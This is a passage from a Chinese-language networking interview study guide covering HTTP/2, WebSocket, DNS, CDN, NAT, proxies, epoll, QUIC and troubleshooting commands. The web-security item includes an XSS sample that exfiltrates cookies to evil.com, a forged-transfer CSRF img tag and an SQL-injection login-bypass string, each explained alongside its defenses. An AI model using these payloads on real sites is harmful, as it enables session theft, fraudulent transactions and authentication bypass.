HTTP/2 引入了帧( Frame )流( Stream )的概念:

  • :最小传输单位,包含帧头(标识属于哪个流)和帧数据
  • :一个完整的请求-响应对应一个流,每个流有唯一 ID
  • 多个流可以在同一个 TCP 连接上交叉传输
Text Only
HTTP/2 多路复用:
一个TCP连接:
  |--Frame(Stream1)--|--Frame(Stream2)--|--Frame(Stream1)--|
  |--Frame(Stream3)--|--Frame(Stream1)--|--Frame(Stream2)--|

Stream1: Request1的帧
Stream2: Request2的帧
Stream3: Request3的帧
各流独立,互不阻塞

但 HTTP/2 仍有 TCP 层面的队头阻塞: - HTTP/2 的多个流共用一个 TCP 连接 - TCP 是保证有序的,如果底层 TCP 丢了一个包,所有流都会被阻塞等待重传 - 这就是为什么 HTTP/3 改用基于 UDP 的 QUIC 协议

25. 什么是 WebSocket ?它和 HTTP 的关系是什么

WebSocket 协议: - 在单个 TCP 连接上提供全双工通信 - 客户端和服务器可以主动向对方发送消息 - 建立在 HTTP 协议之上(通过 HTTP 升级握手)

WebSocket 握手过程:

Text Only
# 客户端发起HTTP升级请求
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

# 服务器同意升级
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

# 之后双方通过WebSocket帧通信

WebSocket vs HTTP 对比:

维度 HTTP WebSocket
通信模式 请求-响应(单向) 全双工(双向)
连接 短连接或 keep-alive 持久连接
实时性 需要轮询/长轮询 实时推送
头部开销 每次请求都带完整头部 握手后帧头很小(2-10 字节)
协议标识 http:// / https:// ws:// / wss://
适用场景 传统 Web 请求 实时应用

WebSocket 应用场景: - 即时通讯(聊天) - 实时数据推送(股票行情、体育比分) - 在线协作编辑 - 多人在线游戏 - 实时日志监控

替代方案对比: - 短轮询:客户端定时发 HTTP 请求,浪费资源 - 长轮询:服务器保持请求直到有数据,再响应 - SSE ( Server-Sent Events ):服务器单向推送,基于 HTTP - WebSocket:双向通信,最适合高频实时场景

26. HTTP 长连接和短连接的区别是什么

短连接( HTTP/1.0 默认):

Text Only
建立TCP连接 → 发送HTTP请求 → 接收响应 → 关闭TCP连接
建立TCP连接 → 发送HTTP请求 → 接收响应 → 关闭TCP连接
每次请求都要经历三次握手和四次挥手

长连接( HTTP/1.1 默认):

Text Only
建立TCP连接 → 发送请求1 → 响应1 → 发送请求2 → 响应2 → ... → 关闭连接
一次TCP连接,多次HTTP请求和响应

Connection 头部:

Text Only
HTTP/1.0:  Connection: keep-alive  (主动开启)
HTTP/1.1:  Connection: close       (主动关闭,默认是长连接)

长连接的优缺点: - 优点:减少 TCP 握手次数,降低延迟,减少服务器资源消耗 - 缺点:长时间占用连接,如果客户端很多但请求频率低,会浪费资源 - 解决:设置超时时间( Keep-Alive: timeout=60, max=100 )

Cookie 的安全相关属性:

Text Only
Set-Cookie: session_id=abc123;
  Domain=example.com;
  Path=/;
  Expires=Thu, 01 Jan 2026 00:00:00 GMT;
  Max-Age=86400;
  Secure;
  HttpOnly;
  SameSite=Strict;
属性 说明
Secure 仅通过 HTTPS 传输
HttpOnly JavaScript 无法访问(防 XSS)
SameSite 控制跨站请求携带(防 CSRF)
Domain 限定可用域名
Path 限定可用路径
Max-Age/Expires 有效期

SameSite 三种值: - Strict:完全禁止第三方请求携带 Cookie - Lax:允许 GET 导航(链接跳转)携带,但禁止 POST 等 - None:允许跨站携带(必须同时设置 Secure )


四、综合题( 13 题)

28. 输入 URL 到页面显示的完整过程是什么

这是网络面试中最高频的综合题,涉及整个网络通信链路:

1. URL 解析 - 浏览器解析 URL :协议(HTTPS)、域名(www.example.com)、端口(443)、路径(/index.html) - 检查 HSTS 列表,如果在列表中则直接用 HTTPS

2. DNS 解析(域名→IP )

Text Only
浏览器DNS缓存 → 操作系统DNS缓存 → hosts文件
→ 本地DNS服务器 → 根DNS → 顶级域DNS → 权威DNS
最终获得IP地址, 如: 93.184.216.34

3. 建立 TCP 连接(三次握手)

Text Only
Client → SYN → Server
Client ← SYN+ACK ← Server
Client → ACK → Server

4. TLS 握手( HTTPS )

Text Only
Client → ClientHello → Server
Client ← ServerHello + 证书 ← Server
Client → 密钥交换 → Server
双方生成会话密钥

5. 发送 HTTP 请求

Text Only
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Chrome/120
Accept: text/html
Cookie: session_id=abc

6. 服务器处理请求 - 负载均衡器分发请求 - Web 服务器( Nginx )处理静态资源或转发到应用服务器 - 应用服务器处理业务逻辑 - 查询数据库/缓存获取数据 - 返回 HTTP 响应

7. 浏览器接收响应

Text Only
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 12345

8. 浏览器解析和渲染

Text Only
        HTML字符串
            ↓ HTML解析器
        DOM树(Document Object Model)
            ↓  ← CSS解析 → CSSOM树
        渲染树(Render Tree)  [DOM + CSSOM合并]
        布局(Layout/Reflow)  [计算位置和大小]
        绘制(Paint)  [绘制到屏幕]
        合成(Composite)  [GPU加速, 层合成]

详细过程: 1. 解析 HTML → 构建 DOM 树 2. 遇到 CSS → 构建 CSSOM 树 3. 遇到 JS → 阻塞 DOM 构建,下载执行 JS ( defer/async 可以异步) 4. DOM + CSSOM → 渲染树(不包含不可见元素如 display:none ) 5. 布局:计算每个元素的位置和大小 6. 绘制:绘制到屏幕 7. 合成:将不同层合成最终页面

9. 连接关闭(四次挥手)

29. DNS 解析的详细过程是什么?递归查询和迭代查询有什么区别

DNS 解析的完整过程:

Text Only
1. 浏览器缓存 → 2. 操作系统缓存 → 3. hosts文件
        ↓ (都没有)
4. 本地DNS服务器(LDNS, 如运营商DNS 8.8.8.8)
        ↓ (没有缓存)
5. 根域名服务器(.) → 返回.com的顶级域服务器地址
6. 顶级域服务器(.com) → 返回example.com的权威服务器地址
7. 权威域名服务器(example.com) → 返回www.example.com的IP地址
8. 本地DNS服务器缓存结果并返回给客户端

递归查询 vs 迭代查询:

递归查询: - 客户端向本地 DNS 服务器发起请求 - 本地 DNS 服务器如果没有缓存,会代替客户端依次查询 - 最终将结果返回给客户端 - 客户端只需要发一次请求

迭代查询: - 本地 DNS 向根 DNS 请求,根返回"我不知道,你去问.com 服务器" - 本地 DNS 再向.com 服务器请求,返回"你去问 example.com 的权威服务器" - 本地 DNS 再向权威服务器请求,返回最终结果

通常的模式: - 客户端→本地 DNS :递归查询 - 本地 DNS→其他 DNS 服务器:迭代查询

DNS 记录类型: - A 记录:域名→IPv4 地址 - AAAA 记录:域名→IPv6 地址 - CNAME:域名→另一个域名(别名) - MX 记录:邮件服务器地址 - NS 记录:域名的 DNS 服务器 - TXT 记录:文本信息(如 SPF 、 DKIM )

30. CDN 的工作原理是什么

CDN ( Content Delivery Network ,内容分发网络):

将内容(静态资源)缓存到离用户最近的边缘节点,减少网络延迟。

CDN 工作流程:

Text Only
用户 → DNS解析 → CDN智能DNS → 选择最近的边缘节点
边缘节点有缓存?
  ├── 是 → 直接返回内容(缓存命中)
  └── 否 →  回源请求(向源站获取内容)
            ↓ 缓存到边缘节点
            ↓ 返回给用户

CDN 的核心技术:

  1. 智能 DNS 调度:根据用户 IP 、网络状况、节点负载等选择更合适的节点
  2. 内容缓存:将源站内容缓存在边缘节点
  3. 内容预推送:主动将内容推送到边缘节点
  4. 负载均衡:在多个边缘节点间分配流量

CDN 适合加速的内容: - 静态资源:图片、 CSS 、 JS 、视频 - 大文件下载 - 直播/点播视频流 - 动态内容加速(通过智能路由优化回源路径)

CDN 的优势: - 减少延迟:用户就近访问 - 降低源站压力:大部分请求由 CDN 节点处理 - 提高可用性:节点冗余,抗单点故障 - 防 DDoS :分散攻击流量

31. ARP 协议的工作原理是什么

ARP ( Address Resolution Protocol ,地址解析协议): 将网络层的 IP 地址解析为数据链路层的 MAC 地址。

为什么需要 ARP ? - 在局域网中,数据帧的传输依赖 MAC 地址 - 应用程序只知道目标 IP ,需要找到对应的 MAC 地址才能封装成帧发送

ARP 工作过程:

Text Only
主机A(192.168.1.1)要发送数据给主机B(192.168.1.2)

1. 主机A查看ARP缓存表,是否有B的IP→MAC映射
2. 如果没有,广播ARP请求:
   "谁是192.168.1.2? 请告诉192.168.1.1(MAC: AA:AA:AA:AA:AA:AA)"
   (广播帧, 目的MAC=FF:FF:FF:FF:FF:FF)
3. 网络中所有主机都收到广播
4. 主机B发现是找自己,单播ARP应答:
   "我是192.168.1.2,我的MAC是BB:BB:BB:BB:BB:BB"
5. 主机A收到应答,更新ARP缓存表
6. 之后用B的MAC地址封装数据帧发送

ARP 缓存:

Bash
# 查看ARP缓存
arp -a

# 条目有生存时间(TTL),通常为20分钟

ARP 安全问题 - ARP 欺骗: - 攻击者发送伪造的 ARP 应答,将自己的 MAC 与目标 IP 绑定 - 导致数据被发送到攻击者(中间人攻击) - 防御:使用静态 ARP 绑定、 ARP 检测工具、交换机 DAI (动态 ARP 检测)

32. DHCP 协议的工作原理是什么

DHCP ( Dynamic Host Configuration Protocol ,动态主机配置协议): 自动为网络中的设备分配 IP 地址和其他网络配置信息。

DHCP 四步骤( DORA 过程):

Text Only
客户端                             DHCP服务器
   |                                  |
   |-- 1. DHCP Discover (广播) -----> |
   |   "有DHCP服务器吗?我需要IP"      |
   |                                  |
   |<- 2. DHCP Offer (单播/广播) ---- |
   |   "我可以给你192.168.1.100"       |
   |                                  |
   |-- 3. DHCP Request (广播) ------> |
   |   "我接受你提供的192.168.1.100"    |
   |                                  |
   |<- 4. DHCP ACK (单播/广播) ------ |
   |   "确认,IP已分配给你,租期24小时"  |

DHCP 分配的信息: - IP 地址 - 子网掩码 - 默认网关 - DNS 服务器地址 - 租期( Lease Time )

IP 地址租约续约: - 租期过半时,客户端向 DHCP 服务器发送续约请求 - 租期过了 87.5%还没续约成功,向任意 DHCP 服务器广播续约 - 租期到期后, IP 被回收,需要重新发起 DORA

33. NAT 的工作原理和类型是什么

NAT ( Network Address Translation ,网络地址转换): 将私有 IP 地址转换为公有 IP 地址,使内网设备可以访问外网。

为什么需要 NAT ? - IPv4 地址不够用( 2^32 ≈ 43 亿) - 私有 IP 地址不能在公网路由 - 隐藏内网结构,提高安全性

NAT 的三种类型:

1. 静态 NAT (一对一) - 一个私有 IP 对应一个公网 IP - 常用于需要外网访问的服务器(如 Web 服务器)

2. 动态 NAT (多对多) - 从公网 IP 池中动态分配 - 用完后归还

3. NAPT/PAT (多对一,最常用) - 多个私有 IP 共享一个公网 IP - 通过端口号区分不同的内网地址

Text Only
内网设备A: 192.168.1.10:5000 → NAT → 公网IP:60001 → 目标服务器
内网设备B: 192.168.1.20:5000 → NAT → 公网IP:60002 → 目标服务器
内网设备C: 192.168.1.30:8000 → NAT → 公网IP:60003 → 目标服务器

NAT转换表:
| 内网地址:端口 | 公网地址:端口 |
| 192.168.1.10:5000 | 1.2.3.4:60001 |
| 192.168.1.20:5000 | 1.2.3.4:60002 |
| 192.168.1.30:8000 | 1.2.3.4:60003 |

NAT 的问题: - 外网主动访问内网困难(需要端口映射) - P2P 通信受影响(需要 NAT 穿透技术: STUN/TURN/ICE ) - 某些协议在 NAT 下有兼容性问题

34. 正向代理和反向代理的区别是什么

正向代理( Forward Proxy ): 代理客户端,客户端通过代理访问目标服务器。服务器不知道真正的客户端是谁。

Text Only
客户端 → 正向代理 → 目标服务器
  ↑        ↑
客户端知道代理   服务器不知道客户端真实IP

应用场景: - 科学上网( VPN/代理) - 企业网关(控制员工上网) - 缓存加速 - 隐藏客户端真实 IP

反向代理( Reverse Proxy ): 代理服务器端,客户端向代理发送请求,代理转发到后端服务器。客户端不知道真正的服务器是谁。

Text Only
客户端 → 反向代理(如Nginx) → 后端服务器1
                             → 后端服务器2
                             → 后端服务器3
  ↑                ↑
客户端不知道      反向代理对外暴露,
后端真实服务器    后端服务器隐藏

应用场景: - 负载均衡 - SSL 终止 - 缓存静态资源 - 安全防护(隐藏后端服务器) - 统一入口/API 网关

维度 正向代理 反向代理
代理对象 客户端 服务器
知晓方 客户端知道代理 客户端不知道后端
配置方 客户端配置 服务器端配置
主要目的 访问控制/翻墙 负载均衡/安全

35. XSS 、 CSRF 和 SQL 注入攻击的原理和防御方法

1. XSS ( Cross-Site Scripting ,跨站脚本攻击)

原理: 攻击者将恶意脚本注入到网页中,当其他用户浏览该页面时执行恶意脚本。

三种类型:

  • 存储型 XSS:恶意脚本存入数据库(如评论区),每次页面加载都执行
HTML
<!-- 评论内容 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
  • 反射型 XSS:恶意脚本在 URL 中,服务器将其反射回页面
Text Only
http://example.com/search?q=<script>alert('xss')</script>
  • DOM 型 XSS:通过修改 DOM 结构在客户端执行恶意脚本

防御方法: 1. 输入过滤和输出编码:对用户输入进行 HTML 实体编码

Python
# & → &amp;  < → &lt;  > → &gt;  " → &quot;  ' → &#x27;
  1. CSP ( Content Security Policy ):限制资源加载来源
Text Only
Content-Security-Policy: default-src 'self'; script-src 'self'
  1. HttpOnly Cookie:防止 JavaScript 读取 Cookie
  2. 使用安全的模板引擎(自动转义)

2. CSRF ( Cross-Site Request Forgery ,跨站请求伪造)

原理: 攻击者诱骗已登录的用户访问恶意页面,利用用户的认证状态( Cookie )向目标站点发送伪造请求。

Text Only
用户已登录 bank.com(Cookie中有认证信息)
访问恶意网站 evil.com
evil.com页面中hidden的表单/img标签自动向bank.com发送请求:
<img src="http://bank.com/transfer?to=hacker&amount=10000">
浏览器自动携带bank.com的Cookie,请求以用户身份执行

防御方法: 1. CSRF Token:表单中嵌入随机 Token ,服务器验证 2. SameSite Cookie:设置 SameSite=Strict 或 Lax 3. Referer/Origin 检查:验证请求来源 4. 验证码:关键操作要求用户交互确认 5. 自定义请求头: CSRF 无法设置自定义头部


3. SQL 注入( SQL Injection )

原理: 攻击者通过在输入中插入 SQL 语句,改变原有 SQL 逻辑。

SQL
-- 正常查询
SELECT * FROM users WHERE username='admin' AND password='123456'

-- 攻击者输入: username = admin' OR '1'='1' --
-- 变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='...'
-- '1'='1'永远为真,绕过密码验证

防御方法: 1. 参数化查询(预编译语句):最有效的防御方式

Python
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
  1. ORM 框架:使用 ORM 避免直接写 SQL
  2. 输入验证:白名单过滤,限制输入类型和长度
  3. 最小权限:数据库用户使用最小必要权限
  4. WAF ( Web 应用防火墙):过滤恶意 SQL

36. DDoS 攻击有哪些类型?如何防御

DDoS ( Distributed Denial of Service ,分布式拒绝服务): 利用大量被控制的计算机( botnet )向目标发送海量请求,耗尽目标资源导致服务不可用。

常见攻击类型:

网络层攻击: - SYN Flood:发送大量 SYN 包占满半连接队列 - UDP Flood:发送大量 UDP 包耗尽带宽 - ICMP Flood ( Ping Flood ):发送大量 ICMP 包 - Smurf 攻击:伪造源 IP 为受害者 IP ,向广播地址发 ICMP

应用层攻击: - HTTP Flood:发送大量 HTTP 请求 - CC 攻击:模拟正常请求,大量访问消耗资源的页面 - Slowloris:建立大量 HTTP 连接但极慢地发送数据,占满连接数

防御方案: 1. 网络层防御: - 流量清洗( DDoS 防护服务) - 黑洞路由(将攻击流量引到黑洞) - 限制 ICMP/UDP 流量

  1. 传输层防御
  2. SYN Cookie
  3. 增大 TCP 半连接队列
  4. 缩短 SYN-ACK 超时时间

  5. 应用层防御

  6. WAF 过滤恶意请求
  7. 限流/熔断
  8. 验证码(人机区分)

  9. 架构层防御

  10. CDN 分散流量
  11. 高防 IP/高防服务器
  12. 弹性扩容(云服务自动扩展)
  13. Anycast 网络

37. Socket 编程的基本流程是什么

Socket (套接字): 网络通信的端点,提供了进程间网络通信的接口。

TCP Socket 编程流程:

Text Only
服务器端(Server)                    客户端(Client)
    |                                   |
  socket()  创建套接字               socket()
    |                                   |
  bind()    绑定IP和端口                |
    |                                   |
  listen()  监听连接                    |
    |                                   |
  accept()  等待客户端连接 <--------- connect() 发起连接
    |       (阻塞)                      |
    |       三次握手完成                  |
    |                                   |
  recv() <--------------------------- send()   发送数据
    |                                   |
  send()  ---------------------------> recv()   接收数据
    |                                   |
  close()  关闭连接                  close()

Python TCP Socket 示例:

Python
# 服务器端
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # TCP
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 8080))
server.listen(5)  # 最大等待连接数

print("服务器启动,等待连接...")
conn, addr = server.accept()  # 阻塞等待
print(f"客户端连接: {addr}")

data = conn.recv(1024)  # 接收数据
print(f"收到: {data.decode()}")
conn.send("Hello Client!".encode())  # 发送数据

conn.close()
server.close()
Python
# 客户端
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 8080))

client.send("Hello Server!".encode())
data = client.recv(1024)
print(f"收到: {data.decode()}")

client.close()

UDP Socket 编程流程(简单,无连接):

Python
# UDP服务器
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # UDP
server.bind(('0.0.0.0', 8080))
data, addr = server.recvfrom(1024)
server.sendto(b"response", addr)

# UDP客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"hello", ('127.0.0.1', 8080))
data, addr = client.recvfrom(1024)

38. 什么是 IO 多路复用? Select 、 Poll 、 Epoll 有什么区别

IO 多路复用: 使用一个线程监听多个 Socket 的 IO 事件,当某个 Socket 就绪时进行处理,避免为每个连接创建一个线程。

select :

C
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
select(maxfd+1, &readfds, NULL, NULL, timeout);
  • 将 fd 集合从用户态拷贝到内核态
  • 内核遍历所有 fd 检查是否就绪
  • 返回就绪 fd 数量,用户态需要再次遍历找到就绪的 fd
  • 限制: fd 数量最大 1024 ( FD_SETSIZE )
  • 每次调用需要重新设置 fd 集合

poll :

C
struct pollfd fds[MAX];  // struct结构体:自定义复合数据类型
fds[0].fd = sockfd;
fds[0].events = POLLIN;
poll(fds, nfds, timeout);
  • 使用 pollfd 数组替代 bitmap ,没有 1024 限制
  • 本质和 select 相同,仍需遍历
  • 每次调用需要重新传入 fd 数组

epoll ( Linux 特有,推荐):

C
int epfd = epoll_create(1);            // 创建epoll实例
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev);  // 注册fd
int n = epoll_wait(epfd, events, MAX, timeout);  // 等待就绪
// events数组中直接包含就绪的fd
对比 select poll epoll
fd 数量限制 1024 无限制 无限制
数据结构 bitmap 数组 红黑树+就绪链表
内核实现 遍历 遍历 回调
时间复杂度 O(n) O(n) O(1)
fd 拷贝 每次全量 每次全量 仅注册时一次
触发模式 水平触发(LT) 水平触发(LT) LT 和边缘触发(ET)

epoll 的两种触发模式: - LT ( Level Trigger ):只要 fd 就绪就会通知,多次通知,编程简单 - ET ( Edge Trigger ): fd 状态变化时才通知,只通知一次,效率高但需要一次读完

39. 什么是 QUIC 协议?它解决了什么问题

QUIC ( Quick UDP Internet Connections ): 由 Google 设计,基于 UDP 实现的传输层协议,是 HTTP/3 的底层协议。

QUIC 解决的问题:

1. TCP 建连延迟( 0-RTT/1-RTT )

Text Only
TCP + TLS 1.2: 需要3个RTT (TCP握手1RTT + TLS握手2RTT)
TCP + TLS 1.3: 需要2个RTT (TCP握手1RTT + TLS握手1RTT)
QUIC首次:      1个RTT (QUIC整合了传输和加密握手)
QUIC恢复:      0个RTT (使用缓存的密钥)

2. TCP 队头阻塞

Text Only
TCP: 一个包丢失会阻塞所有流
QUIC: 每个流独立,一个流丢包不影响其他流

3. 连接迁移

Text Only
TCP: 用(源IP, 源端口, 目的IP, 目的端口)标识连接
     网络切换(WiFi→4G)→ IP变化 → 连接断开

QUIC: 用Connection ID标识连接
      网络切换 → IP变化但Connection ID不变 → 连接不断

4. 加密范围更广 - TCP 只加密 payload ,头部明文 - QUIC 绝大部分头部字段也加密,防止中间设备窥探

QUIC 的主要特点: - 基于 UDP ,在用户态实现,可以快速迭代 - 集成 TLS 1.3 加密 - 多路复用无队头阻塞 - 连接迁移 - 前向纠错(减少重传) - 改进的拥塞控制

40. 常见的网络排障命令和工具有哪些

1. ping — 测试连通性

Bash
ping google.com        # 测试能否到达
ping -c 4 google.com   # 发送4个包
ping -t google.com     # 持续ping(Windows)

2. traceroute/tracert — 路由追踪

Bash
traceroute google.com   # Linux/Mac
tracert google.com      # Windows
# 显示数据包经过的每一跳路由器

3. nslookup/dig — DNS 查询

Bash
nslookup google.com          # 查询DNS
dig google.com               # 更详细的DNS查询
dig +trace google.com        # 追踪DNS解析过程

4. netstat/ss — 网络连接状态

Bash
netstat -antp        # 查看所有TCP连接
netstat -tunlp       # 查看监听端口
ss -s                # 连接统计摘要
ss -tnlp             # 监听端口(比netstat更快)

5. tcpdump — 抓包

Bash
tcpdump -i eth0 host 192.168.1.1          # 抓指定IP的包
tcpdump -i eth0 port 80                    # 抓80端口的包
tcpdump -i eth0 tcp and port 443 -w a.pcap # 抓包保存文件

6. curl — HTTP 调试

Bash
curl -v https://example.com         # 详细输出(含头部)
curl -I https://example.com         # 只看响应头
curl -X POST -d '{"key":"value"}' URL  # POST请求
curl -w "%{time_total}\n" URL       # 显示耗时

7. Wireshark — 图形化抓包分析工具 - 可以分析各层协议细节 - 支持过滤表达式 - 支持 TCP 流追踪

8. ifconfig/ip — 网络接口

Bash
ifconfig          # 查看网络接口(旧)
ip addr           # 查看IP地址(新)
ip route          # 查看路由表

排障思路:

Bash
1. ping 目标IP  是否可达?(网络层)
2. telnet IP PORT  端口是否开放?(传输层)
3. curl URL  HTTP是否正常?(应用层)
4. nslookup  DNS解析是否正常?
5. traceroute  哪一跳出了问题?
6. tcpdump/Wireshark  抓包分析具体问题

面试答题技巧

  1. 分层回答:网络问题按 OSI/TCP-IP 层次分析,条理清晰
  2. 画图辅助:三次握手、四次挥手等用时序图说明
  3. 结合实际:结合项目中的网络问题排查经验
  4. 对比记忆: TCP vs UDP 、 HTTP 各版本、 GET vs POST 等用表格对比
  5. 追问准备:常见追问如"为什么握手三次挥手四次"、"HTTPS 为什么安全"等

⚠️ 核验说明(2026-04-03):本页已完成 2026-04-03 人工复核。协议标识已统一为规范小写写法;网络优化与调度策略按“更合适/更常见”口径表述,避免把启发式方案写成绝对最优。


最后更新日期: 2026-04-03